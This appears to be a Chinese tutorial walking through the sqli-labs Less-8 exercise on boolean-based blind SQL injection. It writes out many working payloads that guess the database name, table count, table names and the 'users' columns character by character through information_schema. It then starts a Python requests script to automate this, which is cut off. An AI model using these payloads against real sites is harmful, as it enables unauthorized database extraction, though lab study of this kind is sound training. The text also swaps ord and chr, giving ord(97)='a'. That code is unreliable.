1. Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
判断是否存在数字型或字符型注入:
输入1,页面显示正常:
输入1’ and 1=1时显示正常:
输入1’ and 1=2时显示异常:
说明存在字符型的SQL盲注。
Less-8和Less-5的区别在于,Less-8对报错语句进行了注释,所以无法使用显错式注入,只能用盲注。
1.猜解数据库名长度:
输入1' and length(database()) = 5 --+,显示异常
输入1' and length(database()) = 6 --+,显示异常
输入1' and length(database()) = 7 --+,显示异常
输入1' and length(database()) = 8 --+,显示正常
说明数据库名长度为8个字符。
下面采用二分法猜解数据库名:
输入1' and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1' and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1' and ascii(substr(database(),1,1))<109 #,显示不存在,说明数据库名的第一个字符的ascii值大于109(小写字母m的ascii值);
输入1' and ascii(substr(database(),1,1))<115 #,显示不存在,说明数据库名的第一个字符的ascii值不小于115(小写字母s的ascii值);
输入1' and ascii(substr(database(),1,1))>115 #,显示不存在,说明数据库名的第一个字符的ascii值不大于115(小写字母s的ascii值);
所以数据库名的第一个字符的ascii值为115,即小写字母s。
这样逐步猜解可得到数据库名为security。
2.猜解数据表长度:
输入1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=1 --+,显示异常
输入1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=2 --+,显示异常
输入1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=3 --+,显示异常
输入1' and (SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database())=4 --+,显示正常
说明数据库security中有4张表。
输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=4 --+,显示异常
输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=5 --+,显示异常
输入1' and length(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))=6 --+,显示正常
说明数据库security中第一张表名长度为6个字符。
3. 猜解表名仍然是使用上面的二分法猜ascii码。
4.猜解表中的字段名
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 --+,显示不存在
...
1' and (select count(column_name) from information_schema.columns where table_name='users')=14 --+,显示存在
说明users表中有14个字段。
接着挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1), 1)) = 7 --+,显示存在
说明users表第一个字段名长度为7个字符。
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1), 1, 1))>97 --+,显示存在
...
依次获取字段名。
5.猜解数据
同样采用二分法。
强行破解步骤复杂,可以写python脚本解放双手,这里用到字符与ascii码互转的函数:
ord(97) = 'a'
chr('a') = 97
逐个破解字符后,将列表中所有字符拼接可以用join()函数:
Li = ['s','a','m']
a = ''.join(Li)
print(a)
>> sam
我尝试写了python脚本,部分脚本如下:
#!/usr/bin/python
# -*- coding:utf-8 -*-
import requests
# 查询数据库信息
def db_name():
li = []
# 破解数据库名长度
for i in range(1, 15):
headers = {
'Connection':</